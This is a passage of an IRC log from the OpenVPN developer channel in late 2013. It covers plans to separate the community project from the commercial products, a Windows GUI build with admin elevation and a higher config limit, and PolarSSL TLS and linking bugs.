bugs too ;) 17:11 <@mattock> hopefully it has less worms in it than 2.x 17:12 <@pekster> Could be, though a lot of what we've seen this year is 2.2 -> 2.3 issues (like my as-yet-unreviewed chroot patch) 17:12 <@mattock> what I fear is that James overlooked something when he went on writing it all by himself 17:12 <@mattock> even if he's a brilliant guy 17:13 <@pekster> yea, and that's what big (or even good small) companies are going to be worried about. Most aren't willing to say "oh sure, let's just flip the switch tomorrow" kind of thing 17:14 <@mattock> yep 17:14 <@pekster> Small bugs in chroot handling, or lack of int'l char support for tap devices on Win32? Sure, those are issues, but not "major" ones 17:14 <@pekster> Anyway, sounds like a wiki-based landing page is fine, at least to start with here. Do you know if we can lock them down, at least if desired? 17:15 <@mattock> there is actually a bug in Git master which prevents the the iOS client from connecting to it 17:15 <@mattock> james is preparing a fix as we speak 17:15 <@pekster> It becomes a bit more of a (potential) target for vandalism if auto-registered users can wipe out the community landing page with "FOSS sucks" or something else stupid 17:15 <@mattock> and also breaks older OpenVPN _Connect_ Android clients, but that's not critical 17:15 <@mattock> locking the landing page is doable 17:15 <@mattock> at least to the "editable only by admins" degree 17:16 <@mattock> we've had surprisingly few spam problems on trac and phpbb 17:16 <@mattock> I believe it's because the registration service is separate 17:16 <@mattock> so it can't be automated conveniently 17:16 <@pekster> Bsically the website thing is kind of 3-fold: 1) not relying (completely) on corp for content changes (as we have with Joomla today, which is annoying.) 2) no cross-talk between FOSS/EULA content. Maybe a link for "did you want this instead? click <here>" 3) plainly obvious to guests what page/site they're on 17:17 <@mattock> I agree 17:17 <@mattock> I got to get some sleep, it's late here 17:17 <@pekster> admins being what, people with %root/%admin access to the host, or admins in the wiki? 17:17 <@mattock> wiki admins 17:17 <@pekster> Okay, thanks for the time tonight and comment! 17:18 <@mattock> let's create a solid plan for this 17:18 <@mattock> I'll need it to convince Francis 17:18 <@pekster> Yea, tell you what, I'll draft a planning page on the wiki too ;) 17:19 <@mattock> I think a cleaner separation between the company's semi-proprietary stuff and the OSS stuff is in order 17:19 <@mattock> thanks! 17:19 <@mattock> one hint though 17:19 <@mattock> I think the primary reason why our CEO (=Francis) is stalling this kind of changes is because he wants as much traffic to go through the openvpn.net site 17:20 <@mattock> so that the commercial stuff gets maximum exposure, of course 17:20 <@pekster> Right, and I'm officially fed up with it (but can temper that for the wiki/ML stuff) 17:21 <@mattock> tell me about it :) 17:21 <@pekster> I know it's confusing (that screenshot shows it too!) but I've also seen FOSS users downright frusted at it; one was pissed that he spent 2 days configuring AS without realizing the license status; most don't go _that_ far without at least glancing at the license, but that's one extreme here 17:21 <@mattock> yep 17:22 <@mattock> it probably goes both ways atm 17:22 <@pekster> That's why I at least want to add to the "to discuss" list the possibility of naming fork, while attempting to keep good relationships (cross-links, etc) between projects 17:22 <@pekster> Not that it means much beyond just a name, but whwenever you say "fork project" people get on edge :( 17:23 <@mattock> I think a name change might be good idea 17:23 <@pekster> We might not need that if we can cleanly distinguish the products, but we need absolute consistency, and we don't have it today 17:23 <@mattock> let the company have the OpenVPN name (because they have the trademark) 17:23 <@mattock> and name the community project LibreVPN (of course!) 17:23 <@pekster> I agree, but I'm not opposed to listening to other solutions either if they meet my namespace spearation definition 17:24 <@mattock> if we can do this cleanly, it will benefit everyone 17:24 <@mattock> if there's a non-friendly rename (like a real fork), both parties will get hurt, regardless of who is standing in the end 17:24 <@pekster> Right. Earlier we had some statements that keeping the name the same and f.ex asking corp to clearly mark "OpenVPN Connect", but I don't know how clear that will necessarily be 17:25 <@pekster> f.ex, would that user earlier today have still downloaded it with a new community page and "OpenVPN Client" -> "OpenVPN Connect Client"? I dunno.. 17:26 <@pekster> Anyway, all discussion is good, and I'll get a "dev-style quick list" wiki page started and link it here (sometime this weekend, not sure yet about when exactly) so we can add ideas to it as we think of them 17:26 <@mattock> hmm, now that there are those three large button at openvpn.net ("VPN service", "VPN solution" and "Community"), it should be trivial to point the "Community" page to Trac or something 17:27 <@mattock> personally, I think the whole Joomla should be nuked, but that's not really an option at this point 17:27 <@mattock> -> sleep :) 17:27 <@mattock> bye! 17:27 <@pekster> Night 17:36 -!- mattock is now known as mattock_afk 19:13 <@raidz> the "OpenVPN Client" that is listed on openvpn.net is not even kept up anymore, it is an older client that we should eventually remove, the only client that company actively develops is "OpenVPN Connect" 19:14 <+krzee> ouch 19:15 <+krzee> thats the ouch on top of the first ouch :D 19:17 <@raidz> as far as "OpenVPN Client" name. Yeah, super confusing... 19:18 <@pekster> Yea, the naming thing is much harder to fix than the website issue, and probably good next-meeting topic given that there are a few ways to handle it, and input especially at the core dev level here will be important 19:19 <+krzee> so even if they wanted AS they would not want 'openvpn client' they would want 'openvpn connect' is what you said? 19:20 <@raidz> pekster: Not sure we met but I am from corp. At least an easy fix for now, I could talk to management about removing the "OpenVPN Client" that we came out with a few years ago from the site altogether,. We don't support it anymore and don't develop it any more 19:20 <@raidz> krzee: correct 19:21 <@raidz> pekster: and just to be clear, I don't make a lot of the decisions on how things happen with corp, so don't hate me too much 19:21 <@pekster> raidz: That is what this is then? http://31.151.158.2/vpn.png 19:21 <@raidz> correct, that client is no longer supported 19:21 <+krzee> ya, thats the second ouch 19:21 <@pekster> raidz: No, no hating, I'm just trying now to understand "what we have; where we are" so we can come up with possible options moving forward 19:21 <@raidz> do you know where they found that link? 19:22 <@raidz> or the link to that client 19:22 <@pekster> They were running that version and in #openvpn; they didn't even realize that wasn't GPL, and we get that quite a bit 19:22 <@pekster> No clue where they got the client itself 19:22 <@raidz> gotcha 19:22 <+krzee> no idea, but "openvpn client" in google sounds reasonable, takes me to the AS 'openvpn client' download page 19:23 <+krzee> and i dont blame a user for googling that 19:23 <@raidz> and there it lies 19:23 <@pekster> And there's no clear indication there that this _isn't_ the OpenVPN software 19:23 <@pekster> Right 19:23 <+krzee> in fact in normal situations people would get flamed for not googling something similar before asking 19:23 <+krzee> but in our situation asking is better than google 19:24 <+krzee> and to me that means something is wrong 19:24 <@raidz> I think that is the only place that client is still listed 19:25 <@raidz> I am going to edit that page 19:25 <@pekster> I mean, a few options here. Ultimately getting the website mix fixed will be fairly easy, and might cut down a lot on people getting "click-jacked" to a product they didn't want (either GPL -> corp, or corp -> GPL.) However, naming is trickier. We can do anything from 1) nothing, keep status quo, 2) toy around with suffixes/prefixes to try and give each project its own identity/namespace that is more distict, or 3) Rename the ... 19:25 <@pekster> ... GPL stuff to a completely different name, while maintaining a backend protocol/options relationship between OpenVPN and "NewVPN" (for lack of a better word) 19:26 <+krzee> lets put a note on the top of the community downloads page telling them that openvpn is both server and client, depending on the config used (in better words of course) 19:26 <@pekster> raidz: So, just in case you didn't catch the whole backlog, it sounds like the community site moving completely off of Joomla is the best option, after talking with mattock. Probably get a nice-ish looking wiki page (optionally lock it to wiki admins if we feel the need) and redirect the "Community" button there 19:27 <+krzee> that could help explain something, and maybe bring up the page's google relevance for "client" and "server" 19:27 <@raidz> right, I read that a bit earlier 19:27 <@pekster> krzee: Well, depending on how quick we can get things moved (but not before it's usable, of course) it might make sense to try and hack the joomla stuff less, unless getting there takes longer than we want. I'll have something up by the end of the weekend; how much depends on my schedule and what state I'm in at the time :P 19:28 <+krzee> pekster, after years of this, i have come to understand "longer than we want" came and went 19:28 <+krzee> haha 19:28 <@raidz> lol 19:46 <@raidz> pekster: I do think that mattock_afk is right though, if you guys came up with a solid plan for him to bring to CEO it could help 19:47 <@raidz> and as far as name etc, we will be coming out with a new product that will eventually replace Access Server and the rest of our stuff that will be named completely different (not have OpenVPN in the name) 19:47 <@pekster> Yea, absoutely. We just need agreement here first :P (I just got motivated enough earlier) 19:48 <@raidz> right 19:50 <@pekster> Sure, that's one component here. I need to throw up a dev-style "list" (no, not _that_ kind of list..) listing the issues with name/copyright. I think in rough order the bigger points are 1) product confusion, 2) codebase (who wrote/produced what, based on the name) & 3) copyright permission. Obviously the official builds are blessed. What about my http://sourceforge.net/projects/openvpnpreviews/ ? What if I put a patch not in ... 19:50 <@vpnHelper> Title: OpenVPN Previews | Free software downloads at SourceForge.net (at sourceforge.net) 19:50 <@pekster> ... git-master, or not on the ML and built? 19:55 <@raidz> yeah I see what you mean pekster 20:22 <@pekster> Okay, I tossed some of that list and some other feedback/input from earlier up here: https://community.openvpn.net/openvpn/wiki/Topics-2013-ProductNamespaces . Feel free to edit 20:22 <@vpnHelper> Title: Topics-2013-ProductNamespaces – OpenVPN Community (at community.openvpn.net) --- Day changed Sat Nov 02 2013 01:40 -!- mattock_afk is now known as mattock 03:02 <@cron2> mattock: what was that, with git master not talking to the ios client (mentioned at 23:15) 03:02 <@mattock> it was just that 03:03 <@mattock> the culprit was the TLS versioning patch, which apparently triggered some obscure SSL library issue 03:03 <@mattock> I git-bisected and that was proven to be the issue 03:03 <@mattock> James fixed that already, and should send a patch to devel soon 03:04 <@mattock> the ios client has the C++ code in it, but this could also affect 2.x -based git master clients that use polarssl 03:04 <@mattock> so if you have git master server and connect to it with a (3.x based) polarssl client, this bug shows up 03:04 <@mattock> HMAC verification failed 03:06 <@cron2> mattock: where is the bug that is triggered? in the polarssl client library? 03:07 <@mattock> not sure exactly 03:07 <@cron2> ok, I'll wait for James :-) (it would have been nice to hear about it, though...) 03:08 <@cron2> I was toying with the idea of releasing 2.3.3 "soonish", and that also has the TLS versioning code... 03:08 <@cron2> anyway, need to go grocery shopping with the family. bbl. 03:15 <@pekster> cron2: NB: we should probably review my chroot fix too sometime <"soonish" then. No other urgency release notwithstanding 03:16 <@pekster> aka https://community.openvpn.net/openvpn/ticket/330 03:16 <@vpnHelper> Title: #330 (crl-verify and client-config-dir paths are incorrectly checked in 2.3.*) – OpenVPN Community (at community.openvpn.net) 04:20 <@cron2> pekster: yeah. Please keep poking me. It's not ill will, but a mixture of "too much other stuff getting in the way" (and if I have a free day, like yesterday, I spend it in bed with flu, bah) 04:56 <@pekster> You can't get sick on the day with the meeting you want to get out of, 'eh? :P 04:57 <@pekster> And I'll admit upfront it's not the easiest patch to grasp either thanks to how scattered the callers are, so you get to look forward to the "follow the pointer" game; advanced apologies 13:15 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 14:59 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 15:19 < SviMik> hi all! 15:19 < SviMik> is here anybody, who know how to build openvpn gui for windows and make windows installer? 15:21 < SviMik> I need to make few little changes to gui, and build exactly same installer as original (with TAP driver installation, etc) 15:25 < SviMik> what I need to change: 15:25 < SviMik> 1. Rebuild GUI with MAX_CONFIGS=150 15:25 < SviMik> 2. Fix GUI manifest to always run as administrator 15:25 < SviMik> that's all. 15:29 < SviMik> not for free, of course 15:54 * cron2 points at mattock or pekster 15:57 <@mattock> svimik: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#CreatingaNSISinstallerwindows-nsissubdir 15:57 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 16:33 -!- MeanderingCode is now known as MeanderingCode_ 16:33 -!- MeanderingCode_ is now known as MeanderingCode 17:33 -!- mattock is now known as mattock_afk 18:28 * pekster pokes head in. This brings up an interesting question as "what do we want the default GUI to do" ? 18:29 <@pekster> It can basically do 3 things: 1) always launch as the invoking user (what we have today) 2) run with the highest available permission: if the user is an admin, it'll UAC prompt to elevate, but not if they don't have rights, or 3) require administrative permission: users won't be able to run it 18:30 <@pekster> I'm somewhat inclined to say #2 is an improvement under the logic that if a user really wants to "not" run it as an admin, they shouldn't have their login account be in the administrators group and expect UAC to "save them" from openvpn gui auto-requesting an elevation when they've chosen to do so 18:35 < SviMik> pekster in our case, ovpn must add some rotes. of course, we need to elevate to do that on vista, 7 and 8. 18:36 < SviMik> and because *our* solution is *completely* useless without these routes, it is better to block GUI from running without elevation 18:36 <@pekster> Right, and "most" users of the official releases probably want/expect that too, but we do have some that use the service features of the GUI and run it without admin access 18:37 < SviMik> that's why I'm asking for custom build just for us 18:38 <@pekster> I was wondering if there's a downside to having future official releases use option 2 above: if the user is an admin, they get elevation prompting, but if not, users can still attempt "openvpn without admin", but they have to use a "normal user" account 18:38 <@pekster> Yea, and I have a build environment set up and it's a simple change; my comment was more for the other devs to see if this makes sense globally for a future "blessed" release 18:40 < SviMik> right now we have to explain for every stupid customer that OpenVPN GUI must be started with right click - Run as Administrator 18:42 < SviMik> the problem is that without elevation ovpn is still connecting, and look like everything is ok. no message, green tray icon, etc 18:42 < SviMik> or, more precisely: GUI doesn't inform user if some route adding has failed 18:43 <@pekster> Right, but "admin-requiring" operations fail; it's been discussed before, and the #2 solution seems to solve it for all of the downstream users unless they run a daily account as a non-admin (which is pretty rare, from what I've seen) 18:43 * pekster is thinking more globally, less specifically ;) 18:44 <@pekster> I want to poke at this anyway to see if it doesn't break anything else; I might just offer it as an official patch to the codebase is my point 18:44 <@pekster> (we just needed motivation to trapse through MS API docs. I seem to have a foul time doing it every time I do ;) 18:44 < SviMik> ok, let's thinking more globally. why GUI does't show an error message if there was an error in log? :) 18:45 <@pekster> "documentation? developers don't need no stinking documentation!" 18:45 <@pekster> Becuase it has no support to know what's an error and what's just noise 18:45 <@pekster> The status window just dumps anything the openvpn process spews back to stdout 18:45 < SviMik> it could try to parse it 18:45 <@pekster> For instance, some warnings are "very bad" and mean things failed, but someone might want that 18:47 < SviMik> one more idea: GUI try to check config for things requiring elevation even before starting ovpn 18:48 <@pekster> That's what #2 above does, sort of 18:48 <+krzee> i have wondered about that before, forgot to bring it up 18:48 <@pekster> The problem is openvpn doesn't know if it will add routes until it actually starts up on a config, and in the most common user connectiong to a remote server setup, actually _makes_ that connection and gets the roughts 18:49 <+krzee> there could be a way for an advanced user to override it 18:49 <@pekster> It's a chicken and egg problem: how do you know you need to start it as admin if you don't know that until you've already started it and connected somewhere? Enter solutions #2 & #3 above. I'm working on a build with #2 now that will solve your problem 18:49 <+krzee> a reg setting or something 18:49 <@pekster> Not really, becuase it's burried in the _application_ manifest, which is inside the exe krzee 18:49 <+krzee> default or not starting unless admin would be an improvement in my eyes 18:49 < SviMik> there is no sense to try connecting without elevation, if for example we have route commands in config 18:50 <+krzee> pekster, it could be enforced other ways if that was deemed necessary 18:50 <@pekster> There might not be for you, but there is for other people. a la solution #2 above 18:51 <@pekster> krzee: Right, and that's why #2 is so great: don't want it to run as an admin for your setup? Simply ensure your users don't have admin rights for their login user. Everyone else: less annoyance for openvpn! 18:51 <+krzee> ahh i see 18:51 <@pekster> win/win (and I don't see a real drawback in the croud that "doesn't want to run as admin, but runs their daily user as an admin anyway" 18:51 <+krzee> then ++ 18:52 <+krzee> right, if the person doesnt want admin they arent running as admin 18:52 <@pekster> It still breaks if the user doesn't have admin rights, but so does anything else on your OS if you aren't actually an admin 18:52 <@pekster> (anything admin else) 18:52 < SviMik> yeah, globally it's very complicated question. but locally it can be solved just by having custom build. so I could just put a link on my website, and most users will install my version of GUI, which already knows that our service requires elevation 18:53 <@pekster> Right, and if I can stop explaining how #2 fixes this, I can actually test such a build ;) 18:53 <+krzee> :D 18:53 <+krzee> gogogo! 18:53 <@pekster> krzee: Don't get too excited :P 18:57 < SviMik> now second question. does anybody know, why GUI use MAX_CONFIGS limit? :) 18:57 < SviMik> and why it is 50 by default? 18:57 <@pekster> No one thought there would be much use for over 50 configs, apparently 18:58 <@pekster> Limits somewhere are good, otherwise you can probably crash openvpn by putting, say, 100,000 .ovpn files in a directory 18:58 <@pekster> (or crash the GUI anyway) 19:00 < SviMik> unfortunately, we have more than 50 vpn servers... now we have to do something with it 19:01 < SviMik> actually, we have tried to make out GUI. twice. 19:01 < SviMik> *our 19:03 < SviMik> first programmer just disappeared, second also failed 19:26 <@pekster> Does the right thing, both for admins (prompts) and non-admins (runs in user context) 20:16 <@pekster> SviMik: ( krzee too, if you want to play, though this does alter MAX_BUILDS too) http://pekster.sdf.org/ovpn/dist/ 20:16 <@vpnHelper> Title: Index of /ovpn/dist (at pekster.sdf.org) 20:17 * pekster smells a new gui rev-bump coming 20:20 <@pekster> Erm, MAX_CONFIGS rather 23:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] --- Day changed Sun Nov 03 2013 01:38 -!- mattock_afk is now known as mattock 02:08 <@cron2> pekster, svimik: d12fk is working on a scheme for running gui+openvpn.exe without specific privileges, and having a special service to handle route adding/deletion etc. - he needs a bit of encouragement after Alon shot down his idea 1.5 years ago with "this is all the wrong way to do it"... 02:09 <@mattock> at that point alon suggested using some other mechanism built into windows... it's all in Trac, can't recall what it was called 02:10 <@pekster> Well, that build I linked does the right thing with today's codebase, and it's a 1-line change ;) 02:10 <@mattock> pekster: what's the behavioral change? 02:10 <@pekster> If we fix it later, great, although the reliance on services as a mandatory requirement might be best done as an option (I assume that was the goal) 02:10 <@mattock> (I read the backlog, but it was a bit messy :) 02:11 <@pekster> mattock: asInvoker -> highestAvailable. Basically if they are part of administrators it prompts to elevate (they're admins anyway) and if not it'll run as it does today 02:12 <@pekster> The only possible drawback is that people who are admins can't run openvpn with admin rights, but that's (IMO) a very silly thing to want 02:13 <@cron2> pekster, mattock: I think that's a good thing until the interactive service is ready 02:13 <@cron2> (#2, that is) 02:22 <@pekster> But yea, making the service actually do something useful besides blindly launching all configs would be quite welcome; The GUI could even have a nifty checkbox that is shown when the service component is present 02:27 <@mattock> pekster: sounds good, better than what we have 02:27 <@pekster> cron2: What's the process for openvpn-gui patches? It's not in git AFAICT 02:27 <@mattock> it's git 02:27 <@mattock> d12fk maintains it 02:27 <@mattock> I'll give you a link to the project 02:28 <@mattock> https://sourceforge.net/projects/openvpn-gui/ 02:28 <@vpnHelper> Title: OpenVPN GUI | Free Security & Utilities software downloads at SourceForge.net (at sourceforge.net) 02:29 <@mattock> I donthink you could send a patch to openvpn-devel 02:29 <@mattock> oops 02:29 <@mattock> :D 02:29 <@mattock> I don't think anyone would complain if you sent a patch to openvpn-devel 02:29 <@pekster> Yup, I was planning on it, but right now all I have is a `diff` patch -- with git it does the signed-off-by: line without any work ;) 02:31 <@pekster> Oh, and you'll like this bit too: 3.5 minutes builds using my depcaches from since whenever I created them (probably the date of that v2 email) 02:31 <@mattock> I need to test depcache v2 02:32 <@mattock> it would save a lot of time 02:32 <@pekster> Less Filling, Tastes Great! 02:32 <@mattock> yup 02:35 <@pekster> Half the reason v1 didn't support build-complete is that builds to so long I stopped using it and called generic/build manually. Ironic, I know :P 02:35 <@pekster> took* 02:57 <@mattock> ah 02:57 <@mattock> if all goes well then waiting for 20 minutes for build-complete to work is just fine 02:57 <@mattock> but when things break, it's really annoying to wait 10 minutes before seeing if a fix has fixed the problem you were having 02:58 <@pekster> Yup 02:59 <@pekster> "incorrect number of arguments" is a fun one when you missed (or mistakenly removed) a comma -- done that a few times, but not usually having to wait 18 minutes to be told :P 03:00 <@pekster> I have some smaller stuff I should patch up too (the download of the tap driver every build is a nusance, but not really harmful) 03:00 <@pekster> "later" 03:14 <@mattock> yeah 03:15 <@mattock> pekster: swimik was asking about the openvpn-gui client config limitation 03:15 <@mattock> did your builds fix that, too? 03:16 <@cron2> pekster: somewhat unrelated - where are you from? 05:34 -!- SviMik [~pIRCuser8@213.35.250.131] has joined #openvpn-devel 07:33 -!- SviMik [~pIRCuser8@213.35.250.131] has quit [Ping timeout: 240 seconds] 10:58 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 14:14 <@pekster> mattock: Yup, the build I linked earlier set the limit to 150 (up from 50) 14:16 <@mattock> ok 14:16 <@pekster> I don't know if we want to change that or not, really; this is the first use-case I'm aware of where that's an issue. 14:18 <@pekster> I guess 50 is a bit low if the goal was to stop run-away memory usage or something 14:18 <@pekster> I made the point yesterday that somewhere between 50 and 100,000 there exists a limit you just shouldn't cross ;) 14:27 <+krzee> haha 15:55 -!- mattock is now known as mattock_afk 17:26 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 19:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 20:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:04 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 20:04 -!- dazo_afk is now known as dazo --- Day changed Mon Nov 04 2013 01:12 -!- mattock_afk is now known as mattock 01:45 * cron2 waves from Riyad, Saudi Arabia "spreading the word of IPv6" 02:01 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 02:40 < syzzer> mattock: +1 for more info on the iOS Connect client vs master-bug. I'm getting reports about the iOS app being incompatible with "OpenVPN-NL"-as-server too. Although my bouncer disconnected sat. morning, so I might have missed stuff you've already elaborated on this weekend... 02:41 < syzzer> where -as-server was *not* meant to refer to Access Server, just to add to the confusion 03:28 <@d12fk> cron2: are women allowed to use IPv6 there? 03:40 <@plaisthos> d12fk: only if the opressi^w lawful intercept software can do IPv6 03:54 <@mattock> syzzer: quoting James: "The root of the issue seems to be that PolarSSL 1.1.6 has a bug negotiating higher TLS protocol versions than 1.0. This bug is apparently fixed in PolarSSL 1.2.8. " 03:55 <@mattock> so the fix is to use a more recent PolarSSL version, _if_ OpenVPN has the "TLS versioning" patch 03:56 < syzzer> ah, interesting 03:57 < syzzer> so polar-pre-1.2.8 would not negotiate properly against openssl. That has to be a different bug then, as OpenVPN-NL uses polar, and the OpenVPN Connect iOS app does so too. 03:58 < syzzer> anyway, thanks for the update 04:00 <@mattock> not sure if OpenSSL adds to the mix, or if Polar<->Polar negotiation also fails, if one Polar is <1.2.8 04:00 <@mattock> haven't tested that, only server=openssl, client=polarssl 04:11 <@cron2> d12fk: they are :-) - plaisthos: and as far as I understand, their censorship/spying activities are actually more transparent than ours... 04:12 <@cron2> mattock: so how's james going to fix it? patch the server side, or just push an upgrade to iOS, which he will want to do anyway due to the polar security issues? 04:13 <@cron2> (there's other bugfixes pending on the iOS client anyway...) 05:16 <@mattock> cron2: he worked around it in AS for the time being 05:16 <@mattock> but I think the proper solution is to upgrade polarssl 07:26 <@cron2> so could you check with James what his iOS plans are? This seems to be stuck somewhat (and there's also reports that more specific IPv6 routes do not work on iOS 7, while redirect-default does work) 07:47 <@mattock> yes 08:25 <@mattock> oh, one thing 08:25 <@mattock> even though I think James has updated / is updating the iOS client, it will take some time to get it to Appstore 08:25 <@mattock> due to the bureaucracy 09:27 <@d12fk> http://heise.de/-2039363 09:27 <@vpnHelper> Title: DrayTek zieht überraschend OpenVPN zurück | heise Netze (at heise.de) 09:37 <@ecrist> mattock: just FYI - the new forums VM seems to be working fine 10:09 <@cron2> d12fk: bah 11:01 -!- raidz is now known as raidz_away 11:39 -!- raidz_away is now known as raidz 12:33 <@pekster> syzzer: polarssl <1.2.9 has a CVE on it anyway, right? I think there was talk here about requiring >=1.2.10 (since .9 also had a memory leak) in configure.ac 12:34 <@pekster> Though I suppose that won't help anyone runnign any openvpn version earlier than that and still using insecure libs 12:38 <@cron2> pekster: that particular patch has been merged now and 2.3.3 will require 1.2.10 to build 12:38 <@cron2> won't help those out there right now, though, that happen to want/need to talk to a git master 12:39 <@cron2> as fate has it, I did not run into it myself because I had no time to rebuild $corp[2]'s OpenVPN server yet, which is quite heavily infested with iOS users 12:39 <@pekster> Ah, k. Also, adding to the mix, I don't believe that info from James is accurate (unless he meant iOS specifically) as I tested the TLSv1.2 openvpn patch with IIRC polarssl 1.2.7 (not anything later) and it worked fine 12:39 <@pekster> It might have even been an earlier 1.2.x release, I don't recall 12:39 <@cron2> pekster: polar-on-client to open-on-server? 12:39 <@pekster> Yea 12:39 <@cron2> mmmh, interesting 12:40 <@cron2> whatever, need to see patch and updates :) 12:40 <@pekster> Right, it's insecure, so let's let it die :) 12:45 <+krzee> insecure? *perks up* 12:46 <+krzee> oh ok just polar 12:46 <@pekster> https://polarssl.org/tech-updates/releases/polarssl-1.2.9-released 12:46 <@vpnHelper> Title: PolarSSL 1.2.9 released - Tech Updates (at polarssl.org) 12:46 <+krzee> thanks 12:48 <+krzee> i hope the authors of openvpn-nl caught that 12:48 <+krzee> im sure they did tho, they have a direct line with the polar guys 12:48 <@cron2> syzzer provided the patch to us, so "yes" :) 12:48 <+krzee> ahh there we go :D 13:02 -!- mattock is now known as mattock_afk 13:19 <@pekster> syzzer: So, I commented before on polarssl >=1.3.0 having issues with zlib, but I built 1.2.10 on my OS with zlib support and openvpn fails to pass ./configure checks the same way ("configure: error: ssl is required but missing".) It seems the problem is that libpolarssl.so doesn't link against libz, thus the conftest.c checks fails. AFAICT, it's not really openvpn's responsibility to see "if polarssl was configured with zlib ... 13:19 <@pekster> ... support to add in -Lz to the conftest flags 13:24 <@pekster> syzzer: If it helps, the downstream distro reporting this issue (gentoo) has a normal looking build file that, when zlib support is enabled, un-comments the associated line in include/polarssl/config.h as the comment suggests, then runs `emake -C library OFLAGS="-fPIC" libpolarssl.so` to build 13:24 <@pekster> Seems pretty straight-forward to me, so I'm not inclined to believe this is something downstream has messed up 13:25 <@pekster> Oh, and emake is just a `make` wrapper ;) 13:35 <@pekster> Here's what autoconf is effectily doing during configure: http://pastebin.kde.org/p9hzvwdmd/cfunfd 13:35 <@pekster> effectively* 13:48 <@pekster> syzzer: Hmm, what does this mean? Do apps _using_ polarssl (when polarssl was built with ZLIB) need to "link themselves" against libz? If so, that would be a bit odd. https://github.com/polarssl/polarssl/blob/polarssl-1.3.1/include/polarssl/config.h#L764 13:48 <@vpnHelper> Title: polarssl/include/polarssl/config.h at polarssl-1.3.1 · polarssl/polarssl · GitHub (at github.com) --- Day changed Tue Nov 05 2013 01:17 -!- mattock_afk is now known as mattock 02:08 <@mattock> james will also come to Munich 02:11 <@d12fk> excellent 02:23 <@mattock> added his itinerary to the wiki page 02:24 <@mattock> https://community.openvpn.net/openvpn/wiki/MunichHackathon2013 02:24 <@vpnHelper> Title: MunichHackathon2013 – OpenVPN Community (at community.openvpn.net) 02:46 <@d12fk> fixed my arrival times and dinner info 02:57 <@plaisthos> host -t aaaa unitymedia.de 02:57 <@plaisthos> unitymedia.de has no AAAA record 02:57 <@plaisthos> sorry, wrong window 02:59 <@d12fk> always reminds me of the castle of aaaa 02:59 <@d12fk> http://www.youtube.com/watch?v=XiT_5cr3tYI 02:59 <@vpnHelper> Title: Monty Python - Cave Script - YouTube (at www.youtube.com) 04:43 <@cron2> mattock: wow, cool 07:31 < syzzer> pekster: I usually get confused when fighting build systems, but I think you're right. If polar was built with zlib support, an application using polar needs to be able to link to zlib too. I'm trying to reserve some time next week to do openvpn stuff, I'll put this one on my list. 07:32 <@pekster> Ah, okay. Would it be best to open a bug with polarssl then for traking purposes? downstream (gentoo) might appreciate a definable place to link against, and verify the issue should be fixed before verifying & marking it as such in their tracker 07:33 <@pekster> Oh, and AFAICT, the issue isn't openvpn linking, but the produced polarssl .so object linking against libz (that's how openssl works) 07:34 <@pekster> OpenVPN shouldn't have to "somehow figure out how polarssl was built" -- that would be insanity 07:55 -!- Kanalia [~Kanalia@89-67-131-55.dynamic.chello.pl] has joined #openvpn-devel 07:55 < Kanalia> hi guys 08:09 < syzzer> pekster: I'm unsure on what 'the right way' to do this in polarssl would be, but if you feel are I'd say opening a bug with polarssl makes sense. 08:09 < syzzer> Kanalia: hi :) 08:10 <@pekster> syzzer: Hmm, well I guess I wonder what openssl does differently to link agianst libz that polarssl isn't 08:15 <@pekster> I'm happy to admit my understanding of how builds actually request the linking is quite limited; maybe I can get clarification on that point first, then open a bug if it's something that needs to happen when that feature is enabled 08:15 <@pekster> Meanwhile I suppose I can just recommend gentoo leave the default of not building polarssl with zlib since it's likely to break buildsystems that try the standard method of conftest 08:18 <@cron2> or patch it's makefile to add -lz when linking the .so 08:23 <@pekster> True, but that'll have to happen in every build config for everything that uses polarssl (which probably isn't all that much) if it does linker checks. Then again, I really only care about openvpn :P 08:24 * pekster starts to like this "path of least resistance" idea 08:26 <@cron2> no, I think when creating .so in the polarssl makefile, adding -lz shoukd be sufficient to recordcthe dependency 08:26 <@cron2> sorry for typing 08:28 <@pekster> Oh, in polarssl's Makefile; I misunderstood 08:35 <@pekster> Thanks, that hint gives me more to work with :) 08:43 < Kanalia> I'm trying to grasp if my idea is achievable... can I write my own openvpn client for iOS? 08:44 < Kanalia> or is that impossible because of the NDA that OpenVPN tech has with Apple in regards to the private VPN APIs ? 08:46 <@plaisthos> Kanalia: pretty much yes 08:46 <@plaisthos> Kanalia: Apple won't let you use the private APIs. 08:47 <@pekster> I don't know much about Apple's NDA, but I presume it requires that you can't release code that links against it, and that's incompatible with the GPL 08:47 < Kanalia> yes 08:47 <@plaisthos> So unless you have special treatment your app won't be accepted into the store since it is using private APIs 08:47 < Kanalia> so in essence, only the OpenVPN connect app can be considered a valid iOS client for OpenVPN? 08:48 <@plaisthos> for non jailbroken devices pretty much 08:48 < Kanalia> ok 08:48 < Kanalia> that's what I wanted to understand 08:48 < Kanalia> thanks guys 08:48 <@plaisthos> from what I understood the VPN Apis are not that difficult to understand 08:48 <@plaisthos> you are just not allowed to use them 08:48 <@pekster> Walled Garden of Eden^W Apple 08:50 <@plaisthos> OpenVPN 2.3/2.4 does make use of some part of this hidden API on OS X 08:50 < Kanalia> yes 08:50 <@plaisthos> to use the operating system utun devices 08:52 < Kanalia> in VPN networks in general, does connection always have to go through one single defined gate address? 08:52 < Kanalia> or can things be a bit more dynamic? 08:52 <@plaisthos> Kanalia: ?! 08:53 < Kanalia> like load balancing gateways for example? 08:53 <@plaisthos> like more than one OpenVPN tunnel? 08:53 < Kanalia> sorry if I'm saying something inconceivable, I just don't know myself around such advanced VPN topics that much 08:54 <@plaisthos> that question are probably better suited for #openvpn then ;) 08:56 < Kanalia> maybe... but it's more general VPN and not just 